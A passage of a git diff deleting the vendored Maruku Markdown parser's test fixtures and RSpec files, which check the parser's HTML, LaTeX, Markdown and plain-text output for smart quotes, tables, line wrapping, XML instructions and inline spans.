-filters --{} including \href{http://docutils.sourceforge.net/mirror/setext.html}{Setext}, \href{http://www.aaronsw.com/2002/atx/}{atx}, \href{http://textism.com/tools/textile/}{Textile}, \href{http://docutils.sourceforge.net/rst.html}{reStructuredText}, \href{http://www.triptico.com/software/grutatxt.html}{Grutatext}, and \href{http://ettext.taint.org/doc/}{EtText} --{} the single biggest source of inspiration for Markdown'{}s syntax is the format of plain text email.
-
-To this end, Markdown'{}s syntax is comprised entirely of punctuation
-*** Output of to_md ***
-
-filters -- including [Setext] [1], [atx] [2], [Textile] [3], [reStructuredText] [4],
-[Grutatext] [5], and [EtText] [6] -- the single biggest source of
-inspiration for Markdown's syntax is the format of plain text email.
-
-  [1]: http://docutils.sourceforge.net/mirror/setext.html
-  [2]: http://www.aaronsw.com/2002/atx/
-  [3]: http://textism.com/tools/textile/
-  [4]: http://docutils.sourceforge.net/rst.html
-  [5]: http://www.triptico.com/software/grutatxt.html
-  [6]: http://ettext.taint.org/doc/
-
-To this end, Markdown's syntax is comprised entirely of punctuation
-*** Output of to_s ***
-filters  including Setext, atx, Textile, reStructuredText, Grutatext, and EtText  the single biggest source of inspiration for Markdowns syntax is the format of plain text email.To this end, Markdowns syntax is comprised entirely of punctuation
diff --git a/vendor/plugins/maruku/spec/block_docs/references/spaces_and_numbers.md b/vendor/plugins/maruku/spec/block_docs/references/spaces_and_numbers.md
deleted file mode 100644
index d83a5935..00000000
--- a/vendor/plugins/maruku/spec/block_docs/references/spaces_and_numbers.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Spaces can be put before. ID can be a number
-*** Parameters: ***
-{}
-*** Markdown input: ***
-  [6]: http://ettext.taint.org/doc/
-*** Output of inspect ***
-md_el(:document,[md_ref_def("6", "http://ettext.taint.org/doc/", {:title=>nil})],{},[])
-*** Output of to_html ***
-
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/smartypants.md b/vendor/plugins/maruku/spec/block_docs/smartypants.md
deleted file mode 100644
index 6d689528..00000000
--- a/vendor/plugins/maruku/spec/block_docs/smartypants.md
+++ /dev/null
@@ -1,119 +0,0 @@
-
-
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-	'Twas a "test" to 'remember' in the '90s.
-'Twas a "test" to 'remember' in the '90s.
-
-	It was --- in a sense --- really... interesting.
-It was --- in a sense --- really... interesting.
-
-	I -- too -- met << some curly quotes >> there or <<here>>No space.
-I -- too -- met << some curly quotes >> there or <<here>>No space.
-
-	
-	She was 6\"12\'.
-> She was 6\"12\'.
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:code,[],{:raw_code=>"'Twas a \"test\" to 'remember' in the '90s."},[]),
-	md_par([
-		md_entity("lsquo"),
-		"Twas a ",
-		md_entity("ldquo"),
-		"test",
-		md_entity("rdquo"),
-		" to ",
-		md_entity("lsquo"),
-		"remember",
-		md_entity("rsquo"),
-		" in the ",
-		md_entity("rsquo"),
-		"90s."
-	]),
-	md_el(:code,[],{:raw_code=>"It was --- in a sense --- really... interesting."},[]),
-	md_par([
-		"It was ",
-		md_entity("mdash"),
-		" in a sense ",
-		md_entity("mdash"),
-		" really",
-		md_entity("hellip"),
-		" interesting."
-	]),
-	md_el(:code,[],{:raw_code=>"I -- too -- met << some curly quotes >> there or <<here>>No space."},[]),
-	md_par([
-		"I ",
-		md_entity("ndash"),
-		" too ",
-		md_entity("ndash"),
-		" met ",
-		md_entity("laquo"),
-		md_entity("nbsp"),
-		"some curly quotes",
-		md_entity("nbsp"),
-		md_entity("raquo"),
-		" there or ",
-		md_entity("laquo"),
-		"here",
-		md_entity("raquo"),
-		"No space."
-	]),
-	md_el(:code,[],{:raw_code=>"She was 6\\\"12\\'."},[]),
-	md_el(:quote,[
-		md_par(["She was 6", md_entity("quot"), "12", md_entity("apos"), "."])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<pre><code>'Twas a "test" to 'remember' in the '90s.</code></pre>
-
-<p>&#8216;Twas a &#8220;test&#8221; to &#8216;remember&#8217; in the &#8217;90s.</p>
-
-<pre><code>It was --- in a sense --- really... interesting.</code></pre>
-
-<p>It was &#8212; in a sense &#8212; really&#8230; interesting.</p>
-
-<pre><code>I -- too -- met &lt;&lt; some curly quotes &gt;&gt; there or &lt;&lt;here&gt;&gt;No space.</code></pre>
-
-<p>I &#8211; too &#8211; met &#171;&#160;some curly quotes&#160;&#187; there or &#171;here&#187;No space.</p>
-
-<pre><code>She was 6\"12\'.</code></pre>
-
-<blockquote>
-<p>She was 6&#34;12&#39;.</p>
-</blockquote>
-*** Output of to_latex ***
-\begin{verbatim}'Twas a "test" to 'remember' in the '90s.\end{verbatim}
-`{}Twas a ``{}test''{} to `{}remember'{} in the '{}90s.
-
-\begin{verbatim}It was --- in a sense --- really... interesting.\end{verbatim}
-It was ---{} in a sense ---{} really\ldots{} interesting.
-
-\begin{verbatim}I -- too -- met << some curly quotes >> there or <<here>>No space.\end{verbatim}
-I --{} too --{} met \guillemotleft{}~{}some curly quotes~{}\guillemotright{} there or \guillemotleft{}here\guillemotright{}No space.
-
-\begin{verbatim}She was 6\"12\'.\end{verbatim}
-\begin{quote}%
-She was 6"{}12'{}.
-
-
-\end{quote}
-*** Output of to_md ***
-	'Twas a "test" to 'remember' in the '90s.
-'Twas a "test" to 'remember' in the '90s.
-
-	It was --- in a sense --- really... interesting.
-It was --- in a sense --- really... interesting.
-
-	I -- too -- met << some curly quotes >> there or <<here>>No space.
-I -- too -- met << some curly quotes >> there or <<here>>No space.
-
-
-	She was 6\"12\'.
-> She was 6\"12\'.
-
-*** Output of to_s ***
-Twas a test to remember in the 90s.It was  in a sense  really interesting.I  too  met some curly quotes there or hereNo space.She was 612.
diff --git a/vendor/plugins/maruku/spec/block_docs/syntax_hl.md b/vendor/plugins/maruku/spec/block_docs/syntax_hl.md
deleted file mode 100644
index 52d804c6..00000000
--- a/vendor/plugins/maruku/spec/block_docs/syntax_hl.md
+++ /dev/null
@@ -1,60 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-This is ruby code:
-
-	require 'maruku'
-	
-	puts Maruku.new($stdin).to_html
-
-This is ruby code:
-
-	require 'maruku'
-{: lang=ruby html_use_syntax}
-	
-	puts Maruku.new($stdin).to_html
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["This is ruby code:"]),
-	md_el(:code,[],{:raw_code=>"require 'maruku'\n\nputs Maruku.new($stdin).to_html"},[]),
-	md_par(["This is ruby code:"]),
-	md_el(:code,[],{:raw_code=>"require 'maruku'"},[["lang", "ruby"], [:ref, "html_use_syntax"]]),
-	md_el(:code,[],{:raw_code=>"puts Maruku.new($stdin).to_html"},[])
-],{},[])
-*** Output of to_html ***
-<p>This is ruby code:</p>
-
-<pre><code>require 'maruku'
-
-puts Maruku.new($stdin).to_html</code></pre>
-
-<p>This is ruby code:</p>
-
-<pre class="ruby"><code lang="ruby" xml:lang="ruby"><span class="ident">require</span> <span class="punct">'</span><span class="string">maruku</span><span class="punct">'</span></code></pre>
-
-<pre><code>puts Maruku.new($stdin).to_html</code></pre>
-*** Output of to_latex ***
-This is ruby code:
-
-\begin{verbatim}require 'maruku'
-
-puts Maruku.new($stdin).to_html\end{verbatim}
-This is ruby code:
-
-\begin{verbatim}require 'maruku'\end{verbatim}
-\begin{verbatim}puts Maruku.new($stdin).to_html\end{verbatim}
-*** Output of to_md ***
-This is ruby code:
-
-     require 'maruku'
-     
-     puts Maruku.new($stdin).to_html
-
-This is ruby code:
-
-     require 'maruku'
-
-     puts Maruku.new($stdin).to_html
-*** Output of to_s ***
-This is ruby code:This is ruby code:
diff --git a/vendor/plugins/maruku/spec/block_docs/table_attributes.md b/vendor/plugins/maruku/spec/block_docs/table_attributes.md
deleted file mode 100644
index ec3635f0..00000000
--- a/vendor/plugins/maruku/spec/block_docs/table_attributes.md
+++ /dev/null
@@ -1,34 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-
-h         | h
-----------|--
-{:t}  c1  | c2
-{: summary="Table summary" .class1 style="color:red" border=3 width="50%" frame=lhs rules=cols  cellspacing=2em cellpadding=4px}
-
-{:t: scope="row"}
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:table,[
-		md_el(:head_cell,["h"],{},[]),
-		md_el(:head_cell,["h"],{},[]),
-		md_el(:cell,[" c1"],{},[[:ref, "t"]]),
-		md_el(:cell,["c2"],{},[])
-	],{:align=>[:left, :left]},[["summary", "Table summary"], [:class, "class1"], ["style", "color:red"], ["border", "3"], ["width", "50%"], ["frame", "lhs"], ["rules", "cols"], ["cellspacing", "2em"], ["cellpadding", "4px"]]),
-	md_el(:ald,[],{:ald=>[["scope", "row"]],:ald_id=>"t"},[])
-],{},[])
-*** Output of to_html ***
-<table class="class1" style="color:red" summary="Table summary" width="50%" frame="lhs" rules="cols" border="3" cellspacing="2em" cellpadding="4px"><thead><tr><th>h</th><th>h</th></tr></thead><tbody><tr><th scope="row" style="text-align: left;"> c1</th><td style="text-align: left;">c2</td></tr>
-</tbody></table>
-*** Output of to_latex ***
-\begin{tabular}{l|l}
-h&h\\
-\hline 
- c1&c2\\
-\end{tabular}
-*** Output of to_md ***
-hh c1c2
-*** Output of to_s ***
-hh c1c2
diff --git a/vendor/plugins/maruku/spec/block_docs/test.md b/vendor/plugins/maruku/spec/block_docs/test.md
deleted file mode 100644
index 6d33f378..00000000
--- a/vendor/plugins/maruku/spec/block_docs/test.md
+++ /dev/null
@@ -1,19 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-           $ python       
-
-
-
-*** Output of inspect ***
-md_el(:document,[md_el(:code,[],{:raw_code=>"       $ python       "},[])],{},[])
-*** Output of to_html ***
-<pre><code>       $ python       </code></pre>
-*** Output of to_latex ***
-\begin{verbatim}       $ python       \end{verbatim}
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/underscore_in_words.html b/vendor/plugins/maruku/spec/block_docs/underscore_in_words.html
deleted file mode 100644
index 64d68c67..00000000
--- a/vendor/plugins/maruku/spec/block_docs/underscore_in_words.html
+++ /dev/null
@@ -1,9 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC
-    "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN"
-    "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg.dtd">
-<html xmlns:svg='http://www.w3.org/2000/svg' xml:lang='en' xmlns='http://www.w3.org/1999/xhtml'>
-<head><meta content='application/xhtml+xml;charset=utf-8' http-equiv='Content-type' /><title></title></head>
-<body>
-<p>Ok, this_was a_really_old bug</p>
-</body></html>
\ No newline at end of file
diff --git a/vendor/plugins/maruku/spec/block_docs/underscore_in_words.md b/vendor/plugins/maruku/spec/block_docs/underscore_in_words.md
deleted file mode 100644
index 2b6f84b1..00000000
--- a/vendor/plugins/maruku/spec/block_docs/underscore_in_words.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Note that Markdown.pl gives incorrect result here.
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-Ok, this_was a_really_old bug
-*** Output of inspect ***
-md_el(:document,[md_par(["Ok, this_was a_really_old bug"])],{},[])
-*** Output of to_html ***
-<p>Ok, this_was a_really_old bug</p>
-*** Output of to_latex ***
-Ok, this\_was a\_really\_old bug
-*** Output of to_md ***
-Ok, this_was a_really_old bug
-*** Output of to_s ***
-Ok, this_was a_really_old bug
diff --git a/vendor/plugins/maruku/spec/block_docs/wrapping.md b/vendor/plugins/maruku/spec/block_docs/wrapping.md
deleted file mode 100644
index b5d952d6..00000000
--- a/vendor/plugins/maruku/spec/block_docs/wrapping.md
+++ /dev/null
@@ -1,67 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Break:  
-Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. 
-
-* Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet
-  Lorem ipsum Break:  
-  Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet
-* Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Break:",
-		md_el(:linebreak,[],{},[]),
-		"Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet."
-	]),
-	md_el(:ul,[
-		md_el(:li_span,[
-			"Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet Lorem ipsum Break:",
-			md_el(:linebreak,[],{},[]),
-			"Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet"
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet"
-		],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<p>Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Break:<br />Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet.</p>
-
-<ul>
-<li>Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet Lorem ipsum Break:<br />Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet</li>
-
-<li>Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet</li>
-</ul>
-*** Output of to_latex ***
-Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Break:\newline Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet.
-
-\begin{itemize}%
-\item Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet Lorem ipsum Break:\newline Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet
-\item Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet
-
-\end{itemize}
-*** Output of to_md ***
-Lorem ipsum dolor amet. Lorem ipsum
-dolor amet. Lorem ipsum dolor amet.
-Lorem ipsum dolor amet. Lorem ipsum
-dolor amet. Lorem ipsum dolor amet.
-Lorem ipsum dolor amet. Break:  
-Lorem ipsum dolor amet. Lorem ipsum
-dolor amet. Lorem ipsum dolor amet.
-Lorem ipsum dolor amet.
-
-- Lorem ipsum dolor amet. Lorem ipsum
-dolor amet. Lorem ipsum dolor amet.
-Lorem ipsum dolor amet Lorem ipsum
-Break:  
-Lorem ipsum dolor amet. Lorem ipsum
-dolor amet. Lorem ipsum dolor amet
-- Lorem ipsum dolor amet. Lorem ipsum
-dolor amet. Lorem ipsum dolor amet.
-Lorem ipsum dolor amet
-*** Output of to_s ***
-Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Break:Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet.Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet Lorem ipsum Break:Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor ametLorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet. Lorem ipsum dolor amet
diff --git a/vendor/plugins/maruku/spec/block_docs/xml2.md b/vendor/plugins/maruku/spec/block_docs/xml2.md
deleted file mode 100644
index 5ecacf00..00000000
--- a/vendor/plugins/maruku/spec/block_docs/xml2.md
+++ /dev/null
@@ -1,19 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{}
-*** Markdown input: ***
-<!--
-<
--->
-*** Output of inspect ***
-md_el(:document,[md_html("<!--\n<\n-->")],{},[])
-*** Output of to_html ***
-<!--
-<
--->
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/xml3.md b/vendor/plugins/maruku/spec/block_docs/xml3.md
deleted file mode 100644
index a93d7405..00000000
--- a/vendor/plugins/maruku/spec/block_docs/xml3.md
+++ /dev/null
@@ -1,26 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{}
-*** Markdown input: ***
-<table markdown='1'>
-	Blah
-	<thead>
-		<td>*em*</td>
-	</thead>
-</table>
-
-*** Output of inspect ***
-md_el(:document,[
-	md_html("<table markdown='1'>\n\tBlah\n\t<thead>\n\t\t<td>*em*</td>\n\t</thead>\n</table>")
-],{},[])
-*** Output of to_html ***
-<table>Blah<thead>
-		<td><em>em</em></td>
-	</thead>
-</table>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/xml_instruction.md b/vendor/plugins/maruku/spec/block_docs/xml_instruction.md
deleted file mode 100644
index 0fb2707e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/xml_instruction.md
+++ /dev/null
@@ -1,52 +0,0 @@
-Directives should be preserved.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-<? noTarget?> 
-<?php ?> 
-<?xml ?> 
-<?mrk ?>
-
-Targets <? noTarget?> <?php ?> <?xml ?> <?mrk ?>
-
-Inside: <?mrk puts "Inside: Hello" ?> last
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:xml_instr,[],{:code=>" noTarget",:target=>""},[]),
-	md_el(:xml_instr,[],{:code=>"",:target=>"php"},[]),
-	md_el(:xml_instr,[],{:code=>"",:target=>"xml"},[]),
-	md_el(:xml_instr,[],{:code=>"",:target=>"mrk"},[]),
-	md_par([
-		"Targets ",
-		md_el(:xml_instr,[],{:code=>"noTarget",:target=>""},[]),
-		" ",
-		md_el(:xml_instr,[],{:code=>"",:target=>"php"},[]),
-		" ",
-		md_el(:xml_instr,[],{:code=>"",:target=>"xml"},[]),
-		" ",
-		md_el(:xml_instr,[],{:code=>"",:target=>"mrk"},[])
-	]),
-	md_par([
-		"Inside: ",
-		md_el(:xml_instr,[],{:code=>"puts \"Inside: Hello\"",:target=>"mrk"},[]),
-		" last"
-	])
-],{},[])
-*** Output of to_html ***
-<?  noTarget?><?php ?><?xml ?><?mrk ?>
-<p>Targets <? noTarget?> <?php ?> <?xml ?> <?mrk ?></p>
-
-<p>Inside: <?mrk puts "Inside: Hello"?> last</p>
-*** Output of to_latex ***
-Targets    
-
-Inside:  last
-*** Output of to_md ***
-Targets
-
-Inside: last
-*** Output of to_s ***
-Targets    Inside:  last
diff --git a/vendor/plugins/maruku/spec/block_spec.rb b/vendor/plugins/maruku/spec/block_spec.rb
deleted file mode 100644
index 8cb72b0e..00000000
--- a/vendor/plugins/maruku/spec/block_spec.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/env ruby -w
-# encoding: UTF-8
-Encoding.default_external=('UTF-8') if ''.respond_to?(:force_encoding)
-require File.dirname(__FILE__) + "/spec_helper"
-
-METHODS = [:to_html, :to_latex, :to_md, :to_s]
-
-describe "A Maruku document" do
-  before(:all) do
-    @old_stderr = $stderr
-    $stderr = StringIO.new
-  end
-
-  after(:all) do
-    $stderr = @old_stderr
-  end
-
-  Dir[File.dirname(__FILE__) + "/block_docs/**/*.md"].each do |md|
-    describe " for the #{md} file" do
-      input = File.read(md).split(/\n\*{3}[^*\n]+\*{3}\n/m)
-      input = ["Write a comment here", "{}", input.first] if input.size == 1
-      comment = input.shift
-      params = eval(input.shift)
-      markdown = input.shift
-      ast = input.shift
-
-      before(:each) do
-        pending if md =~ Regexp.new("^" + Regexp.quote(File.dirname(__FILE__) + "/block_docs/red_tests"))
-
-        $already_warned_itex2mml = false
-        @doc = Maruku.new(markdown, params)
-        @expected = METHODS.zip(input).inject({}) {|h, (k, v)| h[k] = v ? v.strip : '' ; h}
-      end
-
-      it "should read in the output of #inspect as the same document" do
-        Maruku.new.instance_eval(@doc.inspect).should == @doc
-      end
-
-      it "should read in the given AST as the same document" do
-        Maruku.new.instance_eval(ast).should == @doc
-      end
-
-      METHODS.each do |m|
-        it "should have the expected ##{m} output" do
-          res = @doc.send(m).strip
-          pending "install itex2mml" if m == :to_html && $already_warned_itex2mml
-          res.should == @expected[m]
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/spec/span_spec.rb b/vendor/plugins/maruku/spec/span_spec.rb
deleted file mode 100644
index 20285ef9..00000000
--- a/vendor/plugins/maruku/spec/span_spec.rb
+++ /dev/null
@@ -1,254 +0,0 @@
-require File.dirname(__FILE__) + "/spec_helper"
-
-EXPECTATIONS = Maruku.new.instance_eval do
-  [
-    ["",       [],         'Empty string gives empty list'],
-    ["a",      ["a"],      'Easy char'],
-    [" a",     ["a"],      'First space in the paragraph is ignored'],
-    ["a\n \n", ["a"],      'Last spaces in the paragraphs are ignored'],
-    [' ',      [],      'One char => nothing'],
-    ['  ',     [],      'Two chars => nothing'],
-    ['a  b',   ['a b'],    'Spaces are compressed'],
-    ['a  b',   ['a b'],    'Newlines are spaces'],
-    ["a\nb",   ['a b'],    'Newlines are spaces'],
-    ["a\n b",  ['a b'],    'Compress newlines 1'],
-    ["a \nb",  ['a b'],    'Compress newlines 2'],
-    [" \nb",   ['b'],      'Compress newlines 3'],
-    ["\nb",    ['b'],      'Compress newlines 4'],
-    ["b\n",    ['b'],     'Compress newlines 5'],
-    ["\n",     [],      'Compress newlines 6'],
-    ["\n\n\n", [],      'Compress newlines 7'],
-
-    [nil, :raise, "Should throw on nil input"],
-
-    # Code blocks
-    ["`" ,   :raise,  'Unclosed single ticks'],
-    ["``" ,  :raise,  'Unclosed double ticks'],
-    ["`a`" ,     [md_code('a')],    'Simple inline code'],
-    ["`` ` ``" ,    [md_code('`')],   ],
-    ["`` \\` ``" ,    [md_code('\\`')],   ],
-    ["``a``" ,   [md_code('a')],    ],
-    ["`` a ``" ,   [md_code('a')],    ],
-
-    # Newlines
-    ["a  \n", ['a',md_el(:linebreak)], 'Two spaces give br.'],
-    ["a \n",  ['a'], 'Newlines 2'],
-    ["  \n",  [md_el(:linebreak)], 'Newlines 3'],
-    ["  \n  \n",  [md_el(:linebreak),md_el(:linebreak)],'Newlines 3'],
-    ["  \na  \n",  [md_el(:linebreak),'a',md_el(:linebreak)],'Newlines 3'],
-
-    # Inline HTML
-    ["a < b", ['a < b'], '< can be on itself'],
-    ["<hr>",  [md_html('<hr />')], 'HR will be sanitized'],
-    ["<hr/>", [md_html('<hr />')], 'Closed tag is ok'],
-    ["<hr  />", [md_html('<hr />')], 'Closed tag is ok 2'],
-    ["<hr/>a", [md_html('<hr />'),'a'], 'Closed tag is ok 2'],
-    ["<em></em>a", [md_html('<em></em>'),'a'], 'Inline HTML 1'],
-    ["<em>e</em>a", [md_html('<em>e</em>'),'a'], 'Inline HTML 2'],
-    ["a<em>e</em>b", ['a',md_html('<em>e</em>'),'b'], 'Inline HTML 3'],
-    ["<em>e</em>a<em>f</em>",
-      [md_html('<em>e</em>'),'a',md_html('<em>f</em>')],
-      'Inline HTML 4'],
-    ["<em>e</em><em>f</em>a",
-      [md_html('<em>e</em>'),md_html('<em>f</em>'),'a'],
-      'Inline HTML 5'],
-
-    ["<img src='a' />", [md_html("<img src='a' />")], 'Attributes'],
-    ["<img src='a'/>"],
-
-    # emphasis
-    ["**", :raise, 'Unclosed double **'],
-    ["\\*", ['*'], 'Escaping of *'],
-    ["a *b* ", ['a ', md_em('b')], 'Emphasis 1'],
-    ["a *b*", ['a ', md_em('b')], 'Emphasis 2'],
-    ["a * b", ['a * b'], 'Emphasis 3'],
-    ["a * b*", :raise, 'Unclosed emphasis'],
-    # same with underscore
-    ["__", :raise, 'Unclosed double __'],
-    ["\\_", ['_'], 'Escaping of _'],
-    ["a _b_ ", ['a ', md_em('b')], 'Emphasis 4'],
-    ["a _b_", ['a ', md_em('b')], 'Emphasis 5'],
-    ["a _ b", ['a _ b'], 'Emphasis 6'],
-    ["a _ b_", :raise, 'Unclosed emphasis'],
-    ["_b_", [md_em('b')], 'Emphasis 7'],
-    ["_b_ _c_", [md_em('b'),' ',md_em('c')], 'Emphasis 8'],
-    ["_b__c_", [md_em('b'),md_em('c')], 'Emphasis 9'],
-    # underscores in word
-    ["mod_ruby", ['mod_ruby'], 'Word with underscore'],
-    # strong
-    ["**a*", :raise, 'Unclosed double ** 2'],
-    ["\\**a*", ['*', md_em('a')], 'Escaping of *'],
-    ["a **b** ", ['a ', md_strong('b')], 'Emphasis 1'],
-    ["a **b**", ['a ', md_strong('b')], 'Emphasis 2'],
-    ["a ** b", ['a ** b'], 'Emphasis 3'],
-    ["a ** b**", :raise, 'Unclosed emphasis'],
-    ["**b****c**", [md_strong('b'),md_strong('c')], 'Emphasis 9'],
-    # strong (with underscore)
-    ["__a_", :raise, 'Unclosed double __ 2'],
-
-    # ["\\__a_", ['_', md_em('a')], 'Escaping of _'],
-    ["a __b__ ", ['a ', md_strong('b')], 'Emphasis 1'],
-    ["a __b__", ['a ', md_strong('b')], 'Emphasis 2'],
-    ["a __ b", ['a __ b'], 'Emphasis 3'],
-    ["a __ b__", :raise, 'Unclosed emphasis'],
-    ["__b____c__", [md_strong('b'),md_strong('c')], 'Emphasis 9'],
-    # extra strong
-    ["***a**", :raise, 'Unclosed triple *** '],
-    ["\\***a**", ['*', md_strong('a')], 'Escaping of *'],
-    ["a ***b*** ", ['a ', md_emstrong('b')], 'Strong elements'],
-    ["a ***b***", ['a ', md_emstrong('b')]],
-    ["a *** b", ['a *** b']],
-    ["a ** * b", ['a ** * b']],
-    ["***b******c***", [md_emstrong('b'),md_emstrong('c')]],
-    ["a *** b***", :raise, 'Unclosed emphasis'],
-    # same with underscores
-    ["___a__", :raise, 'Unclosed triple *** '],
-    # ["\\___a__", ['_', md_strong('a')], 'Escaping of _'],
-    ["a ___b___ ", ['a ', md_emstrong('b')], 'Strong elements'],
-    ["a ___b___", ['a ', md_emstrong('b')]],
-    ["a ___ b", ['a ___ b']],
-    ["a __ _ b", ['a __ _ b']],
-    ["___b______c___", [md_emstrong('b'),md_emstrong('c')]],
-    ["a ___ b___", :raise, 'Unclosed emphasis'],
-    # mixing is bad
-    ["*a_", :raise, 'Mixing is bad'],
-    ["_a*", :raise],
-    ["**a__", :raise],
-    ["__a**", :raise],
-    ["___a***", :raise],
-    ["***a___", :raise],
-    # links of the form [text][ref]
-    ["\\[a]",  ["[a]"], 'Escaping 1'],
-    ["\\[a\\]", ["[a]"], 'Escaping 2'],
-    # This is valid in the new Markdown version
-    # ["[a]",   ["a"],   'Not a link'],
-    ["[a]",   [ md_link(["a"],'a')], 'Empty link'],
-    ["[a][]", ],
-    ["[a][]b",   [ md_link(["a"],'a'),'b'], 'Empty link'],
-    ["[a\\]][]", [ md_link(["a]"],'a')], 'Escape inside link (throw ?] away)'],
-
-    ["[a",  :raise,   'Link not closed'],
-    ["[a][",  :raise,   'Ref not closed'],
-
-    # links of the form [text](url)
-    ["\\[a](b)",  ["[a](b)"], 'Links'],
-    ["[a](url)c",  [md_im_link(['a'],'url'),'c'], 'url'],
-    ["[a]( url )c" ],
-    ["[a] (	url )c" ],
-    ["[a] (	url)c" ],
-
-    ["[a](ur:/l/ 'Title')",  [md_im_link(['a'],'ur:/l/','Title')],
-      'url and title'],
-    ["[a] (	ur:/l/ \"Title\")" ],
-    ["[a] (	ur:/l/ \"Title\")" ],
-    ["[a]( ur:/l/ Title)", :raise, "Must quote title" ],
-
-    ["[a](url 'Tit\\\"l\\\\e')", [md_im_link(['a'],'url','Tit"l\\e')],
-      'url and title escaped'],
-    ["[a] (	url \"Tit\\\"l\\\\e\")" ],
-    ["[a] (	url	\"Tit\\\"l\\\\e\"  )" ],
-    ['[a] (	url	"Tit\\"l\\\\e"  )' ],
-    ["[a]()", [md_im_link(['a'],'')], 'No URL is OK'],
-
-    ["[a](\"Title\")", :raise, "No url specified" ],
-    ["[a](url \"Title)", :raise, "Unclosed quotes" ],
-    ["[a](url \"Title\\\")", :raise],
-    ["[a](url \"Title\" ", :raise],
-
-    ["[a](url \'Title\")", :raise, "Mixing is bad" ],
-    ["[a](url \"Title\')"],
-
-    ["[a](/url)", [md_im_link(['a'],'/url')], 'Funny chars in url'],
-    ["[a](#url)", [md_im_link(['a'],'#url')]],
-    ["[a](</script?foo=1&bar=2>)", [md_im_link(['a'],'/script?foo=1&bar=2')]],
-
-
-    # Images
-    ["\\![a](url)",  ['!', md_im_link(['a'],'url') ], 'Escaping images'],
-
